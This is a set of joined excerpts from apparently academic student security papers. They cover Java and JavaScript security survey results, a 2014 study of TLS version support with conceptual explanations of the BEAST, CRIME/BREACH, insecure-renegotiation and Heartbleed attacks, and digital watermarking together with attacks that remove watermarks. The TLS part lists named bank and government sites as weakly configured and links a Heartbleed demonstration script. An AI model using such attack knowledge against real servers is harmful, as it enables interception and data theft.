Both Java and JavaScript implement different kind of security 

model. Even though they are different, both have their own 

strength and weaknesses due to its nature. It is inappropriate to 

compare their security model directly, but we can compare their 

similarities such as running codes within a restricted environment 

by sandboxing.  

Java and JavaScript have performed well to counter such attacks 

that are targeted to them, both languages still have a lot more 

room for improvements in term of security and design. 
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APPENDIX A 

 

 

 
Figure 2: 2013 OWASP Top 10 Web Vulnerabilities List [20] 
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APPENDIX B  
1) Which programming language(s) that you are familiar 

with? (May select more than 1) 

 

Figure 3: Question 1 Results 

 

C++  20% 

C#  30% 

Java  85% 

VB  40% 

Python  20% 

Javascript 40% 

 

2) What do you think of Java security model? 

 

 

Figure 4: Question 2 Results 

 

1) 5% - Not Secured At All 

2) 5% 

3) 35% 

4) 50% 

5) 5% - Highly Secured 

 

 

 

 

3) How do you think Java security performs in comparison 

to other Object Oriented programming languages? 

 

Figure 5: Question 3 Results 

1) 5% - Worst than the others 

2) 10% 

3) 35% 

4) 45% 

5) 5% - Better than the others 

 

4) Do you think the usage of Java Virtual Machine (JVM) to 

execute application improves security? 

 

Figure 6: Question 4 Results 

 

What is JVM    0% 

No, it creates security problems   25% 

Somewhat adds security, but   65% 

Introduce other problems too 

Yes, it improves security   10% 
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5) What do you think of Javascript security model? 

 

Figure 7: Question 5 Results 

 

1) 15% - Not secured at all 

2) 25% 

3) 55% 

4) 5% 

5) 0% - Very Secured 

 

6) How do you think Javascript security performs in 

comparison to other scripting languages? 

 

Figure 8: Question 6 Results 

 

1) 15% - Worst than others 

2) 15% 

3) 60% 

4) 10% 

5) 0% - Better than others 

 

 

 

 

 

 

 

 

 

 

 

7) Do you think the current sandboxed security model 

implemented in Javascript is sufficient for it's security? 

 

 

Figure 9: Question 7 Results 

 

What is sandbox?   5% 

No, a lot more can be done  15% 

on top of sandboxing 

Somewhat it is sufficient,   35% 

but is still problematic 

Yes, it greatly improves security 45% 

 

8) Comparing Java and Javascript's security model, which 

one do you think is more secure? 

 

No idea    25% 

None, both are insecure in  30% 

their own ways 

Javascript is more secure  0% 

Java is more secure   45% 
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ABSTRACT 
In this paper, I give the background behind the use of TLS, 

followed by presenting my findings on the state of TLS as used by 

web sites frequented by Singaporeans as well as the devices they 

use to access them. 

Categories and Subject Descriptors 

C.2.2 [Network Protocols]: Applications (HTTP/HTTPS) 

General Terms 

Design, Security, Human Factors. 

Keywords 

HTTPS, TLS, SSL 

1. INTRODUCTION 
Transport Layer Security (TLS), and occasionally its predecessor 

Secure Sockets Layer (SSL), is used in securing our 

communications to many of the web sites we use – Facebook, 

Google, banks, educational institutions, and also the government. 

It is an open industry standard [7] [8] [9], but that does not prevent 

it from having occasional mistakes in its design. As with all other 

software, when such mistakes are found, updates are issued by the 

manufacturer, devices have the fix applied, and everybody moves 

on. However, with the increasingly diverse types and number of 

devices which we now possess, it is possible that our devices do not 

receive all the updates necessary to resolve these problems. 

Likewise, owners of secure websites might not apply the necessary 

fixes to their software/hardware (e.g. cryptographic accelerators) 

such that known weaknesses are correctly mitigated. 

One of the things which we use the most are our web browsers. 

These programs have an embedded SSL and TLS library as well. 

However, even with advances in the TLS specification, it has taken 

an average of five years for browsers to implement them and reach 

the masses1. This paper tries to capture the various browsers that 

are in use today, and determine the proportion of them which 

implement the latest version of the TLS standard, TLS 1.2. 

In addition to client implementations, being a network protocol, 

one consider the implementations that are used by servers. For the 

server-side, I will be finding a list of sites that Singaporeans 

frequently access, and determine possible misconfiguration and 

improvements that can be made to their site configuration. Alexa 

maintains a list of popular sites (ordered by hits) that I will be using 

                                                                 

1 SSL 3 was drafted in 1996, TLS 1 was drafted in 1999 [7], TLS 

1.1 was drafted in 2006 [8], and TLS 1.2 was drafted in August 

2008 [9]. TLS 1 support has been in all major browsers in use 

today since they were made available. However, TLS 1.1 did not 

see implementations in browsers and libraries (mainly OpenSSL) 

until the about last two years (2012) or so; TLS 1.2 has only seen 

as a reference to determine popularity. I will then run SSL Labs' 

excellent security test suite [21] on those sites identified, and 

compile them. 

1.1 SSL/TLS VARIANTS 
The first version of SSL is actually SSL 2, designed by Netscape. 

It was released as a publicly-available open specification [13], but 

only after completion, and researchers managed to find various 

weaknesses. SSL 2 has been generally superseded by SSL 3 and is 

no longer significantly in use. Browsers also generally ship with 

SSL 2 disabled, and thus is mentioned here only for the sake of 

completeness. 

It is nonetheless worth noting that a significant number of web 

servers today still support SSL 2 when negotiating a SSL version 

during connection establishment (see 3.2.2.1 Use of SSL 2). 

SSL 3 was a redesign of SSL after the flaws of SSL 2 was apparent. 

It involved public consultation, but was never an IETF standard 

(unlike TLS, which was, and will be discussed later.) Nonetheless, 

the IETF has archived the original document [12].  

The design of SSL was such that it would be a presentation-layer 

protocol in the OSI Network Model [25]. When an application 

wishes to initiate an SSL connection, the client and server will 

exchange supported versions of the protocol, nonces, cipher suites 

(discussed next), compression algorithms, and certificates. Next, 

once all the information is available on both ends of the connection, 

a cipher suite is picked by the client. Using this information, a 

shared master secret is computed on both ends. Subsequent 

connection traffic will use the agreed connection parameters. This 

step is the “handshake” step. 

SSL 3 prescribes a set of cipher suites – algorithms will be used for 

key exchange and encryption. Some suites do not provide 

confidentiality (the NULL ciphers), or do not provide 

authentication (the Anonymous Diffie-Hellman key exchange.) 

TLS 1 was a standardized documented by the Internet Engineering 

Task Force [7]. It was not created because of flaws found in SSL 3 

per se, however it involved some changes to the protocol following 

updates to draft specifications used in SSL 3 (such as the algorithm 

for computing HMACs) [25] as well as changes to key derivation. 

TLS also defines a Pseudorandom Function (PRF) for expanding 

relatively small pieces of data (e.g. the secrets used during the 

handshake phase) into larger blocks. This is used when computing 

the shared master secret.  

wide adoption in the last year (2013) [27]. This is how I derived 

the five-year lag between definition and relatively widespread 

implementation. There are, however, browsers which implement 

the new standards ahead of the rest. 
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TLS 1.1 is also a standardized specification [8]. TLS 1.1 mainly 

involved changes to the way using the block cipher mode of 

operation Cipher Block Chaining due to new research [27]. This 

proved to be a significant improvement as a few years after 

standardization, the BEAST attack on TLS 1 (see 2.1 BEAST) was 

ineffective against TLS 1.1 connections. 

TLS 1.2 is the most recent standard in the TLS family [9]. TLS 1.2 

mainly introduced more flexibility in the way hash functions are 

used in TLS (both in terms of the HMAC as well as the PRF.) 

Notably, the use of MD5 has been removed and replaced with a 

negotiated algorithm in all places a hash function is used, such as 

when computing the shared master secret. 

2. ATTACKS ON TLS 
Various attacks have been demonstrated on TLS itself. I will not 

discuss attacks against the algorithms that TLS is built on, since 

that is not within the scope of my paper. 

2.1 BEAST 
BEAST is a chosen-plaintext attack against TLS [11], with a proof-

of-concept demonstrated by hijacking a PayPal session cookie over 

a TLS connection [10]. It is built upon earlier work by Bard [3] [2] 

and exploits the weakness in the use of Cipher Block Chaining in 

TLS. 

The weakness in TLS used in the exploit is that the same Shared 

Master Secret will be used over the duration of multiple HTTP 

requests, and in CBC mode, there is only one Initialization Vector. 

Because you know the previous ciphertext block (sent over the 

wire) you know the value which will be XORed with the next 

plaintext block when CBC mode is used. You then construct a 

guess of the previous plaintext block, and then XOR the previous 

ciphertext with the IV. This is then the plaintext that is encrypted 

as the next block. You know that the guess is correct when the 

ciphertext which is sent over the wire is the same as the previous 

block. 

In practice, the attack described thus far is not feasible. This is 

because all bytes of a block would have to be guessed before the 

sent ciphertext block matches the previous one. The authors of 

BEAST improved the attack further by realizing that it was possible 

to exploit the fact that TLS broke the application data stream into 

blocks of 16384 bytes to construct a data stream with the 

boundaries between blocks such that they only needed to guess one 

byte of plaintext at a time. 

BEAST has been mitigated in TLS 1 implementations by inserting 

extra blocks, in effect creating a new “IV” for the connection. TLS 

1.1 and 1.2 are not vulnerable. 

2.2 CRIME AND BREACH 
CRIME and BREACH are chosen-plaintext attacks against 

TLS/HTTP Compression [20]. BREACH is a special form of the 

CRIME attack for HTTPS connections. The idea is that if an 

attacker is able to modify the application data sent over TLS, he 

would be able to deduce certain bytes in the stream by varying his 

plaintext and observing the size of the compressed block. He can 

deduce that what he inserted is in the plaintext when the 

compression is greater than expected (equivalently, the block is 

smaller than expected). He can then use this information to deduce 

information like session keys (in HTTP, this would be in the header, 

in the form of a cookie) and then perform a session hijack. 

This is because TLS does compression of blocks individually, and 

most protocols over TLS have a predictable header (especially so 

for HTTP). This attack can be used even when TLS Compression 

is off: a similar effect can be achieved by using HTTP compression 

(as the BREACH attack demonstrates.) 

The original CRIME attack has been mostly mitigated by disabling 

TLS compression. However, BREACH can still be performed since 

HTTP has compression as well. 

2.3 INSECURE RENEGOTIATION 
TLS has a provision for a connection’s parameters to be 

renegotiated while the connection is active. This has use especially 

in HTTPS, where certificate-based authentication is used to protect 

certain web resources: a web server can allow access to all 

resources over HTTPS, not requesting a client certificate for all 

resources. However, when a client requests a resource requiring 

authorization, over the existing connection, the web server will 

request for renegotiation (thereby obtaining the client’s certificate 

during the handshake phase.) 

This can be exploited for a plaintext injection attack [24]. Because 

the TLS connection renegotiation is stateless, an attacker can be a 

man-in-the-middle (M), establishing a connection on behalf of the 

client (C) to the server (S). C will then connect to M, and M will 

hold the connection for as long as it needs to complete the 

handshake with S. M will wait for S to request a renegotiation, then 

forward the packets from C to S. Because renegotiation is stateless, 

C does not know that M has intercepted and injected data into the 

data stream.  

What M has accomplished is that he has managed to inject data into 

the application data stream. This can be used to alter HTTP 

requests: M can prepend a HTTP request, and then insert a dummy 

header with no value, which when appended with C’s ciphertext, 

results in M’s URL being requested, with C’s headers. This can 

allow M to perform actions using C’s active HTTP session, for 

example. 

2.4 POSSIBLE FUTURE ATTACKS 
With the increased level of standards compliance for TLS 1.1 and 

TLS 1.2 in both the client and server [26], it is most likely that 

future attacks might find vectors to force a protocol downgrade 

(such as a man-in-the-middle). While a case can be made that since 

the version of TLS used in the connection is mutually agreed by 

both client and the server (or man-in-the-middle), and that any 

agreed protocol downgrade would have been tolerated by the real 

client/server, I foresee difficulties to convince users and system 

administrators alike to disable the broken versions of the protocol. 

Notably, web browsers come with settings that might persist across 

version upgrades, and they also offer user-accessible interfaces to 

change defaults. System administrators might also be reluctant to 

change configuration settings after their system has reached 

production, to reduce the likelihood of causing disruption in their 

service. 

3. RESEARCH 
With the security of TLS dependent on the protocol version in use, 

and that clients and servers would agree on the version during the 

handshake, support for the latest TLS protocol on both the client 

and server is of paramount importance. My objective was to 

determine the proportion of servers and clients with support for 

various versions of TLS. Furthermore, in the case of servers, also 

determine if the server configuration could be strengthened.  

3.1 METHODOLOGY 
The bulk of the machinery providing me with useful results is a 

Ruby-on-Rails web application that I have set up on an Amazon 
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Web Services instance. The source of this application is available 

on GitHub2. 

The application comprises two main parts: the client collector, as 

well as the server crawler. Clients will connect to the server 

application to provide samples about their configuration, and the 

server will also crawl other sites with TLS configured. 

 

Figure 1. Data collection setup. 

3.1.1 Client Collector 
Each port would be configured to accept exactly one version of the 

TLS protocol3. A separate page (which would be user-facing) 

would then link to a 1px-by-1px transparent PNG hosted on each 

of these virtual hosts. I then request for survey participants to visit 

the given webpage. 

This gives useful results because only assets served over a client-

supported protocol would succeed. If the client has not 

implemented the protocol, or if the protocol was disabled, the TLS 

session negotiation would not succeed and the HTTP server would 

not receive the request. I can therefore correlate the number of 

successful hits to each of these virtual hosts to the protocols 

supported by clients, and thus determine the relative frequencies at 

which the protocols are supported. 

 

Figure 2. Sample collection page with SSL 3 disabled 

                                                                 

2 https://github.com/lowjoel/cs2107 

3 In this instance, I also mean SSL 3. I wanted to test for SSL 2, but 

Apache and mod_ssl/OpenSSL does not support it. 

I also capture the user-agent of the browser to try to identify 

platforms and browsers with known flaws in their TLS 

implementation, as well as the IP address, in case the server is 

flooded with requests. No other data is collected for reasons of 

privacy. I am also thus unable to correlate the number of unique 

people who participated in my survey. 

With this set up, I distributed requests to friends and colleagues to 

visit the website with their devices. This was mostly done over 

email and social-networking sites (mainly Facebook and Email.) 

3.1.2 Server Crawler 
Determining server implementations is simpler. I have used Qualys 

SSL Labs [21] to grade servers. Aggregate results over time for the 

whole of the internet is compiled by the Trustworthy Internet 

Movement [26]. The grading metric encompasses 4 main 

categories: certificate quality, protocol support, key exchange, and 

cipher strength [22]. A grade is then assigned to the probed server 

according to the rating guide. ‘A’ grades indicate that the server 

configuration is strong, but ‘A+’ and ‘A-’ grades also exist to 

segregate exceptional site configurations as well as good 

configurations with potentially problematic practices. 

To determine which sites to scan, I have implemented a crawler 

which would query Alexa for their Top 500 websites in Singapore. 

When websites fall off the Alexa charts, they are still retained on 

my crawler. This behavior has the side-effect of allowing me to 

manually enter certain websites that I feel are relevant and might 

not be covered by Alexa: Government e-Services, Banks, etc. 

My crawler queries Alexa every day to determine the top 500 sites 

visited in Singapore. It also checks the date that a site has last been 

tested, and queues sites with potentially stale data for another test. 

This ensures that no site has testing data older than 7 days. 

3.2 ANALYSIS AND INTERPRETATION 

OF RESULTS 
The data attached in the paper is correct as of 28 March 2014. The 

most up-to-date results can be viewed on my project home page4. 

3.2.1 Client Implementations 
Owing to the less-than random nature that participants in the survey 

were selected, there is a very clear sampling bias – a 

disproportionate portion of users were using Mac OS/iOS. I 

attribute this to the fact that one of the main ways of soliciting 

participants is through email, and that people today are more likely 

to use their phones/tablets to read their email. Since the idea was to 

use whatever devices they were using at the point of receipt, they 

naturally used the browser and device combination which was in 

their hands at that point. Nonetheless, useful conclusions can be 

drawn from the results. 

4 https://cs2107.joelsplace.sg 
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Figure 3. Client Implementations, by protocol 

SSL 3 and TLS 1 implementations still outnumber TLS 1.1 and 

TLS 1.2 implementations. This is unexpected, since up to about a 

year ago, TLS 1.1 and TLS 1.2 were both unsupported in the 

Chrome and Firefox browsers. It can then be inferred that the 

browsers in use today are generally kept relatively up-to-date. 

Another interesting finding was that in the sample above, 

approximately 20% of the participants were using iOS. Almost all 

of the iOS users had support for TLS 1.1 and TLS 1.2. This follows 

from Apple’s implementation of the standard in iOS 5. This is in 

stark contrast to Android users: users of the Chrome and Firefox 

browsers had support for TLS 1.1 and TLS 1.2 (because they were 

compiled in the same manner as their desktop browsers); however, 

there were still users of Android devices using the built-in web 

browser for Android, and that did not have support for TLS 1.1 and 

TLS 1.2. 

3.2.2 Server Implementations 
I anticipated that the proportion of servers which implement TLS 

1.1 and TLS 1.2 be significantly lower than on the clients. 

However, it my hypothesis was proven false. 

 

Figure 4. Server Implementations, by protocol 

Analysis of the raw data indicated that the reason these sites tended 

to have better support for TLS 1.1 and TLS 1.2 is because these 

sites tend to be large – the likes of Google, Github, Twitter, and 

Facebook. Unfortunately, banks and government services tended 

not to support TLS 1.1 nor TLS 1.2. 

The ratings assigned to websites by SSL Labs paint a similar story. 

When the results are grouped by rating, about 60% of the websites 

surveyed were able to score ‘A’s. Another 30% or so scored ‘B’. 

What the grades however show is that a substantial number of web 

sites (10%) have TLS configured such that the configuration is 

inherently insecure. 

 

Figure 5. Server Implementations, by rating 

3.2.2.1 Use of SSL 2 
A significant number of ‘F’ grades was due to the server still 

accepting SSL 2 connections. This could be a misconfiguration 

since some of these sites also have TLS 1.1 and TLS 1.2 configured. 

This is disconcerting because SSL 2 has been well-known to be 

insecure for more than a decade and yet no action has been taken to 

rectify the configuration of their servers. 

3.2.2.2 Specific Mentions 
There are a number of failure grades given to sites whom people 

would generally expect to have a secure configuration. The list 

below include governments, banks, and a popular email service.  

 apple.com (23.204.173.15) supports Insecure 

Renegotiation 

 cathay.com.sg supports SSL 2 

 gebiz.gov.sg supports SSL 2 

 gothere.sg has a misconfigured certificate 

 gv.com.sg supports SSL 2 

 internet-banking.dbs.com.sg supports SSL 2 and 

Insecure Renegotiation 

 nlb.gov.sg supports SSL 2 

 outlook.com supports Insecure Renegotiation across 

their load-balanced servers 

 psi.gov.sg supports Insecure Renegotiation 

 shaw.sg supports Insecure Renegotiation 

 singpass-services.gov.sg supports SSL 2 

4. RECOMMENDATIONS 
The general recommendation for all is always to use up-to-date 

software. However, some entities will find it easier to use newer 

versions than others. 

4.1 CLIENT IMPLEMENTATIONS 
The general rule for the public is to use a browser that is as up-to-

date as possible. It was clear that all users of up-to-date versions of 

Firefox, Chrome, and Internet Explorer had TLS 1.2 support. 

Furthermore, if you are using an Android device, avoid the built-in 

web browser because that is not updated as often as one provided 

by a vendor. All users using the built-in Android browser did not 

support TLS 1.1 nor TLS 1.2. Furthermore, regardless of which 

operating system you are using, always to install updates from the 

vendor. 

An interesting weakness was found in iOS earlier this year. There 

was a code path in iOS and Mac OS where the TLS handshake was 

not properly executed, potentially allowing a man-in-the-middle 

attack to be done [16]. A vulnerability in GnuTLS with the same 

impact was found slightly earlier [14]. These vulnerabilities are 
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TLS 1.2, 
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SSL 3, 
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interesting because they occur deep within a core operating system 

library – in the case of the Apple vulnerability, it was used by the 

built-in Safari browser, as well as all other applications using the 

platform’s URL library. In the case of GnuTLS, many client-side 

applications would be linking to it, and using it for 

communications. Users of these libraries would be affected without 

knowing it. As a consequence, it is imperative that developers also 

do not write their own TLS implementations. 

Windows users should also ensure that the versions of their 

operating system is kept up-to-date as well. The Windows TLS 

implementation, Schannel, supports TLS 1.1 and TLS 1.2 only 

from Windows 7 onwards [18]. While most Windows applications 

tend to leverage OpenSSL or GnuTLS, Internet Explorer relies on 

Schannel for TLS connections [19]. Therefore, upgrading to a new, 

supported Windows version is also important in ensuring that all 

bases are covered. 

OpenSSL also turned out to have a severe vulnerability of its own. 

The so-called “Heartbleed” vulnerability [6] [15], where the 

implementation for the Heartbeat extensions to TLS was done 

without checking the bounds of the structure, allowed up to 64KiB 

of data from the memory around the TLS header structure to be 

read [5]. This could be used to leak session information, or worst, 

login credentials or other secrets [4]. I had a server running 

OpenSSL 1.0.1f, and running Jared Stafford’s demonstration 

script5, I was able to retrieve a directory listing of my local 

Subversion database. This seems to be exacerbated by the fact that:  

a) web servers utilizing OpenSSL (mostly Apache and 

nginx) tend to utilise a thread pool to serve large numbers 

of requests, hence the process heap “persists” across 

requests. On Windows, Apache only has a threaded 

MPM; on Linux, the new event-based MPM is now the 

default 

b) allocating and freeing memory, then allocating a smaller 

block of memory, tends to reuse the recently deallocated 

block 

c) malloc and new does not zero memory before returning. 

calloc does, but programmers generally do not use it 

The end results is that a potential attacker is able to retrieve 

information about the recent few requests which the webserver 

handled. The fix was a standard bounds-checking fix, which was 

released in OpenSSL 1.0.1g [17]. 

In all cases, ensuring that all software on a computer is up-to-date 

helps ensure that such vulnerabilities, when discovered, is quickly 

rectified. 

4.2 SERVER IMPLEMENTATIONS 
Ensuring that server software is up-to-date is a necessary first step 

in securing the server’s configuration. However, it is also important 

to test and ensure that the server’s configuration is correct as it is 

easy to misconfigure a server. 

SSL Labs provide an excellent tool (which I have leveraged in my 

research) to find potential misconfigurations in websites. 

                                                                 

5 http://s3.jspenguin.org/ssltest.py 

 

Figure 6. Checking the configuration of the application used 

in my research. 

Their tool checks common problems with HTTPS configurations 

and points out ways to improve it. Qualys also provides a set of 

deployment best practices [23] which should also be used when 

configuring a deployed server. 
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ABSTRACT 

Ownership over digital media today is becoming increasingly 

blurred due to its exposure to the internet. Some images online 

have taken on visible watermarks as copyright protection to avoid 

being stolen or reproduced. However, the rise of powerful 

manipulation tools such as Adobe Photoshop and compression 

software that are easily accessible to the general public has 

enabled the removal of these watermarks, rendering the protection 

useless. In this paper, we will look at digital watermarking as a 

superior form of image authentication to visible watermarks. 

Different types of digital watermarking schemes would be 

explored and their usefulness against attacks evaluated.   

General Terms 

Algorithms, Security 
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1. INTRODUCTION 
The advancement of technology has allowed digital information 

and data to be transmitted over the internet effortlessly. 

Furthermore, many individuals rely on this technology to publish 

their photographs digitally, be it for commercial or personal 

purpose. However, publishing works onto the internet exposes 

them to piracy. Digital watermarking has then been introduced to 

help protect the copyrighted works by verifying the authenticity of 

the ownership. 

2. MOTIVATION 
As technology advances, so does attacking techniques. Hence, 

there is a need for stronger and more robust watermarking 

techniques to maintain authenticity and protection of ownership of 

copyrighted images.  

3. DEFINITIONS 

3.1 Robustness 
The robustness of a watermark refers to its ability to fend off a 

wide variety of attacks, such as an attack to remove watermark.   

3.2 Domain 
Signals can be represented in different domains. The signals can 

be converted between time-space domain to a frequency domain 

through transforms such as discrete cosine transform. 

3.3 Discrete Cosine Transform 
Discrete cosine transform consist of eight types. An image is 

converted to its frequency domain representation by passing it 

through the discrete cosine transform (DCT).  Below shows some 

of the formula used. 

 

 
 

3.4 Embedding and Extracting 
Embedding involves merging a watermark with an image, while 

extracting involves detecting, identifying and the removing of the 

watermark from the watermarked image. 
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4. BACKGROUND INFORMATION 

4.1 Progress for method of Image Security 
We have looked into the Digital Watermarking as it proves to be a 

promising technique for image authentication for copyright 

protection. It also allows monitoring of digital images across the 

internet. 

Our research includes the properties, robustness, copyright 

protection, and applications, up to date. The next phase is to focus 

on the algorithms that are utilized in Digital Watermarking. This 

can be implemented either in spatial domain or in the 

transformation domain. We will then explore the transformation 

techniques such as Discrete Cosine Transform (DCT), the 

Discrete Fourier Transform (DFT) and the Discrete Wavelet 

Transform (DWT). 

4.2 Reasons for watermarks 
Digital watermarks are used to verify the authenticity or integrity 

of the carrier signal or to show the identity of its owners. Such 

watermarking communicates ownership and can be used to track 

images used on the internet. Digital watermarks are like metadata 

that are attached to an image, but is more difficult to remove than 

metadata, tolerating image manipulations such as copy, editing, 

cropping, compression, decompression encryption and decryption. 

It allows additional information about creator to be hidden. 

Digital watermarking can be used in various mediums such as 

audio, pictures, video, texts and 3D models. It is most 

prominently used for tracing copyright infringements and 

banknote authentication, particularly due to their monetary value. 

In such cases, watermarks that would disrupt or distort the carrier 

signal in a visible manner would render the technique useless. 

Unlike metadata added to carrier signals, a digital watermark does 

not affect the size of the signal. 

4.3 Application of Watermarks 
With the increasing availability of such image authentication 

based software online these days, virtually anyone with a vested 

interest in preventing their images from being used or tampered 

with without authorization can do so. One such prominent usage 

would be in Digital Image Forensics.  

Tampering with photographic evidence is a rising problem, 

especially with the rise of modern applications that make it easy to 

do so. As such, image authentication techniques are vital in 

ensuring that such important evidences have not been altered from 

the time it was originally taken.  

Other major users of such techniques could be media companies, 

artists and other parties with commercial images. 

5. DIGI MARC WATERMARKING 

SERVICE 
In this section, we will look into a watermark provider company, 

Digimarc and how it can protect the copyrights of its clients. 

5.1 What does it do 
Digimarc makes use of invisible watermarking techniques to 

embed digital information into media data, not only limited to 

images, but also audio and video, such that the embedded 

watermark is persistent and is detected by computer and digital 

devices. 

5.2 Authenticate content and objects 
With the embedded digital information on the digital media, 

Digimarc can help companies or individuals to process and verify 

them to check if the content or data is genuine – that is, from an 

authorized source and have not been altered. The presence of a 

valid and intact watermark would help in the determination of the 

authenticity of the digital media.  

5.3 Deter counterfeiting and piracy 
Digimarc is able to authenticate digital media because information 

such as the owner, the usage rights of the digital media are 

permanently attached to the content. These information is easily 

retrieved from the digital media for checking and authentication. 

With the addition of another security by encrypting such 

information being embedded, it prevents people from modifying 

such information on the content, thus deterring counterfeiting and 

piracy of the digital media. 

5.4 Manage digital rights 
On top of the owners information embedded into the digital 

media, control can be added to the content. Digital Rights 

Management (DRM) can connect digital media (images, music, 

and video) outside the DRM back to the DRM, such as linking the 

content to usage rules, billing information, and other critical 

metadata. 

6. WATERMARKING ALGORITHMS  
In these watermarking algorithms, they are generally made up of 3 

parts, that is, embedding, extracting and detecting. In embedding, 

the content of the image is modified such that it generates a 

watermark signal. The image with such watermark signal can be 

extracted.  

An attack occur when someone attempts to modify the image, 

whether by cropping, adding noise or compressing. In this report 

we will explore the different methods of digital watermarking 

methods and how robust they are in keeping your image 

copyrighted and authentic. 

A robust watermark would be a water mark where it cannot be 

easily damage, by unintentional or intentional attacks 

 
Figure 1: Watermarking algorithm overview 

312



 

6.1 Frequency Domain Watermarking 
Discrete Cosine Transformation (DCT) is often used in 

compression of image or audio signals. It allows data to be 

embedded into the image by changing coefficients of a transform 

of an image such as DCT. 

Its advantage is that the image retains its quality after enough 

iteration for decompression. 

However the disadvantage in DCT is that it is unable to protect 

the Stego-Image from subterfuge attack, which the attacker can 

not only detect a message but also render it useless or even 

modify it to the opponent’s favor.  

 

Executing DCT: 

Step 1: The image is segmented into non-overlapping 8x8 blocks. 

Step 2: Forward DCT is applied to each of the block. 

Step 3: Selection criteria are then applied. 

Step 4: Coefficient selection criteria are then applied. 

Step 5: Embed watermark by modifying the selected coefficients. 

Step 6: Inverse DCT is applied to produce the final watermarked 

image. 

 

6.2 Spatial Domain Watermarking 
Least Significant Bit (LSB) [3] is one of the best known 

watermarking method that works in the spatial domain. This 

method replaces the least significant bits of pixels selected to hide 

the information. LSB has several implementation versions that 

improve the algorithm in certain aspects 

 

Figure 2: Spatial Domain Watermarking flowchart 

 

 

Table 1. Comparison of LSB and DCT techniques 

 

 

 

Spatial Domain Frequency Domain 

Computation 

Cost 

Low High 

Robustness Fragile Robust 

Perceptual 

Quality 

High (depending on 

size) 

Low 

Application Authentication Copyright 

 

6.3 Frequency and Spatial Domain 

Watermarking 
Discrete Wavelet Transformation (DWT) is a mathematical 

algorithm used to decompose images. It is especially useful for 

processing signals that are non-stationary in nature. DWT makes 

use of a mother wavelet to create smaller wavelets using 

transformations and dilations, retaining both frequency and spatial 

description of the image. A multi-level DWT approach is used to 

perform watermarking for such images.  

For such approaches, the original image is first decomposed using 

DWT to low and high frequency components. The watermark 

image is then also decomposed using the same approach. Finally, 

the two images are blended together using a technique known as 

alpha blending to produce the watermarked image. 

  

Figure 3: Watermark embedding technique [2] 

7. DIGITAL IMAGE WATERMARK 

ATTACKS 
The Watermarking technology used in copyright protection or 

digital rights management system is successful because of the high 

dependency on its robustness to resist attacks. Watermark attacks 

are targeted at removing or destroying any watermark signals in 
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the host data. Therefore, it is crucial to fathom out how these 

attacks are carry out so as to design and implement an improved 

robust watermarking technique. In this section, a classification of 

the different types of watermark attacks will be discussed. 

8. CLASSIFICATION OF WATERMARK 

ATTACKS 
A wide class of existing attacks contains four classes of attacks 

namely removal attacks, geometric attacks, cryptographic attacks, 

and protocol attacks.  

 

Figure 4: Classification of watermark attacks 

8.1 Removal Attack 
Removal attacks aim at the complete removal of the watermark 

information from the watermarked data without attempting to 

crack the security of the watermarking algorithm, in other words, 

breaking it without the key used for the embedding of watermark. 

By doing so, it results in a damaged watermarked image where no 

processing, even the prohibitively complex, is able to recover the 

watermark information from the attacked data. In this category, it 

comprises of de-noising, quantization, remodulation, collision, 

blur and sharpening attacks. Although not all of these approaches 

always come close to their goal of removing the watermark 

completely, they may nevertheless damage the watermark 

information significantly.  

Sophisticated removal attacks attempt to optimize operations like 

de-noising or quantization to impair the embedded watermark up 

the hilt while keeping the quality of the attacked document high 

enough.  

Collusion attacks are applicable when many copies of a given data 

set, each signed with a key or different watermark, can be 

obtained by an attacker or a group of attackers. A successful 

attack can be accomplished by averaging all copies or taking only 

small portions from each different copy. Recent results have 

shown that successful watermark removal can be achieved if there 

are a small number of different copies (approximately 10) in the 

hands of one attacker. 

8.2 Geometric Attacks 
Unlike removal attacks, geometric attacks intend to distort the 

watermark detector synchronization with the embedded 

information instead of removing them. It is theoretically possible 

for the detector to recover the embedded watermark information 

when perfect synchronization is regained. However the 

complexity of the required synchronization process might be 

excessively expensive and slow, hence it is considered to be 

impractical. Image rotation, scaling, translation, and skewing are 

included in this category.  

8.3 Cryptographic Attacks 
Cryptographic attacks aim at breaking the security methods in 

watermarking schemes and thus finding a way to remove the 

embedded watermark information or to embed misleading 

watermarks. Brute-force search method is one of the techniques 

used for searching embedded secret information. This technique 

attempts to crack the watermark security by using a considerably 

large number of known possible measures to search for the 

meaningful secret information.  

Another attack is known as the Oracle attack. This attack is 

utilizes a watermark detection device to generate a non-

watermarked signal. However, the application of these attacks is 

restricted in practice due to their high computational complexity. 

8.4 Protocol Attacks 
Unlike the attacks mentioned above, protocol attacks aim at 

attacking the entire concept of the watermarking application. 

Instead of destroying, distorting, or extracting the watermark 

signal, protocol attacks add the attacker’s own watermark signals 

onto the data in question. One type of protocol attack is based on 

the concept of invertible watermarks.  

The scheme behind this inversion is that the attacker subtracts his 

personal watermark from the watermarked data and claims to be 

the owner of the watermarked data. As a result, it can create 

ambiguity with respect to the true ownership of the data in 

question. Therefore, there is a need watermarks to be 

noninvertible for copyright protection applications. The 

requirement of non-invertibility of the watermarking technology 

implies that extraction of watermark from a non-watermarked data 

should be made impossible. By implementing watermarks signal-

dependent by using one-way functions seems to be a plausible 

solution to this issue. 

Copy attack, is another protocol attack, which aims to derive a 

watermark from a watermarked image instead of destroying it. 

The extracted watermark is then copied to another target data. The 

estimated watermark is adapted to the local features of the target 

data to satisfy its imperceptibility. The copy attack is applicable 

whenever a valid watermark in the target data can be produced 

with neither the algorithmic knowledge of the watermarking 

technology nor the knowledge of the watermarking key. 

Nevertheless, signal-dependent watermarks might be resistant to 

the copy attack. 

 

Figure 5: Protocol attack technique 
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9. ANALYSIS OF WATERMARK 

ATTACKS 
In following section, the   six types of attack will be discussed, 

namely Salt and Pepper noising, additive Gaussian noising, 

median filtering, Gaussian Smoothing, Histogram Equalization 

and Sharpening attacks. All of these attacks belong to the category 

of removal attack however each of them has their own 

characteristics. 

Peak-Signal-to-Noise Ration (PSNR) and Normalized Correlation 

(NC) will be used as a quantitative measure of the degradation 

effect caused by the above attacks. Furthermore, an image is 

chosen as the watermark signal to be embedded, so that the visual 

deterioration of the watermark image can be used as a visual hint 

on the effect of the attacks on any types of watermark signal to 

provide a better visual illustration.  

The Peak-Signal-to-Noise Ratio between the original I(t) and the 

attacked watermarked J(t) signals is calculated using (3) and (4). 

 

The square root of mean square (RMSE) is defined 

as: 

  

The Normalized correlation (NC) can be derived 

using the normalized original water signal I’(j) and normalized 

attacked watermark signal J’(t): 

 

High PSNR and NC values imply lower degradation hence 

indicating that the watermarking technique is more robust to the 

certain type of attack. 

 

 

Figure 6: (a) Cover image (Lena) (b) Watermark image (Hat) 

